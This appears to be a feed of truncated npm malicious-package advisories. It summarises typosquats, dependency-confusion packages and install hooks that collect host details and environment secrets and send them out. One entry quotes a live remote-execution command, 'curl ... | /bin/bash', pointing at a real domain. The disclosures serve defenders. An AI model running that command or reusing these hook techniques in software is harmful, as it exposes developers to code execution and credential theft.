Malicious code in rollup-plugins-polyfills-rode (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 09fa29e5d68238ff42feaba875bbfe1dbeed5214478a811e504bbed05bf7797d [email protected] is a typosquat of rollup-plugin-polyfill-node whose repository URL it copies verbatim into its own package.json...

Malicious code in @kite-js-tools/core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5fc1e1caf8550f3daa91e586dd7b4eab7f5ec8f62acc12dce63d9d60c293e7c9 package.json declares preinstall and postinstall lifecycle scripts that fire automatically on npm install. The preinstall hook performs an HTTPS GET ...

Malicious code in ach-detail (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6c8ce91cbe1aaa587613795b1b82cc84384b499a29af4a18c0a820b77ea1d834 The npm package [email protected] ships a preinstall lifecycle script scripts/preinstall.js that runs automatically on npm install. The script collec...

Malicious code in express-rate-controller (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 43c2ed4e91378e1ca9df444de58c0ff3afebce39741ab67011b55490740cac11 The package is published under the name express-rate-controller but describes itself as an SVG utilities library and ships a bin named svgcraft — the...

MAL-2026-12378 Malicious code in express-rate-controller (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 43c2ed4e91378e1ca9df444de58c0ff3afebce39741ab67011b55490740cac11 The package is published under the name express-rate-controller but describes itself as an SVG utilities library and ships a bin named svgcraft — the...

Malicious code in clover-codelab-remote-pay-cloud (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 071fbdd6b5ca7cbb0fc696f5abf7a47be3783dd970ca5594cb415e67579f2b15 The package declares a postinstall hook that runs index.js on npm install. index.js collects the OS username, current working directory, hostname, an...

Malicious code in @mgor/fw-canary-20260725-394b024b (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 80e828a7ffd0138db85154b49b584df253be1e6509a0a4aa6475bfe317510f37 index.js, the package's declared main entry point, unconditionally executes curl fewafw.hydege.me | /bin/bash at top level. Any consumer that require...

Malicious code in electrode-ota-ui-app (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6b9fb0d73b7d26454a227e93754f11ff2405424b1279490863055e8d8c8c6498 Package targets the electrode-io internal name electrode-ota-ui-app with an inflated 99.0.1 version to win dependency resolution against a private...

Malicious code in luluking2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 495a71c4dcddec545026181c7faeef59cf4c79b4816a148fb88c59c5465e8c97 On npm install, the package's postinstall hook runs index.js, which reconstructs a URL from a char-code array String.fromCharCode.apply on a numeric...

Malicious code in @cryptosrvc/no-brainer-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7955af180bb00f4f97b5dee0c7020f9e43f4c35aa84c5ef5446dd95646eb333b On npm install, the package's postinstall script dist/recon.js collects installer-side host reconnaissance — hostname, username, SUDOUSER, home...

MAL-2026-12337 Malicious code in akamaijs-sensor (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 14a4955c82b04226b267bc55691b0b9c08770710a7038b58e75bfdd009d046fe The package presents itself as an Akamai sensor generator but ships two coupled malicious mechanisms. index.js contains a / / comment filled with...

Malicious code in remote_session_elements (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3a2127d34a7d033e96e00a679891716647f0a00f7590ad738b43d985e83dda69 Package version 9999.0.0 is published with placeholder metadata "Shared utility helpers.", no author — the canonical shape of a dependency-confusion...

Malicious code in content-publisher-sdks (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c3faac0139a1c2fd25d8b955e9290380bec365a1d3034fb793dfa723cb930463 package.json declares a preinstall hook that runs index.js on npm install. The script collects host reconnaissance os.hostname, os.userInfo, homedir,...

Malicious code in crypto-javas (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 75003e4aab1668c5d9b7f1216e6b356473ebb6e834da3a015e920807e8717ed9 The package's postinstall hook runs setup.js, which enumerates process.env excluding only a small OS blocklist for PATH/HOME/USER/SHELL/LANG, collect...

Malicious code in relativity-foundation-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0c61f9e4ea2d66ea8dd4b9018fa109fe65d00cb0de98b3f8551a95ca3859af5d package.json declares a preinstall script that runs a Node one-liner collecting os.hostname, process.env.USER/USERNAME, cwd, npmconfigregistry, CI,...

Malicious code in fundraiserservpp (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bca913238607a18079a675e2fe652c25c04c2bbc62f5c577bb2b6d2424cd4a8 [email protected] runs node index.js as a preinstall lifecycle script on npm install. The script collects host metadata from the installer machi...

Malicious code in chai-as-rendered (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 545ba2341881e666831e81156a815fdfac738830ec2918167e4c5fd3c42294bf Typosquat of chai-as-promised. The package's exported middleware spawns a detached child process lib/caller.js that fetches a JSON payload from a...

Malicious code in eth-codegen (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c111948c855e4133fbd037c268523a2118038ca498e9bdba1c743d4ee77f24bc The package advertises itself as an Ethereum codegen utility but its actual contents are an unrelated mongoose leanhooks plugin plus a hidden dropper...

Malicious code in vscode-designer-14 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dcf384e12e957c8d6b3d0014504f652cd2b6f3885f49820a2907865566bb6137 package.json declares a preinstall hook that runs index.js on npm install. index.js collects the installer's hostname, username, home directory, DNS...

Malicious code in wagmi-react (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6285993305d8ff9bbf69804dcbf929539b6f48c2ef1b1ca6e5c723150c5565ee The package impersonates the wagmi/viem wallet API surface exporting createWalletClient, parseAccount, and a WalletClient constructor and, when a...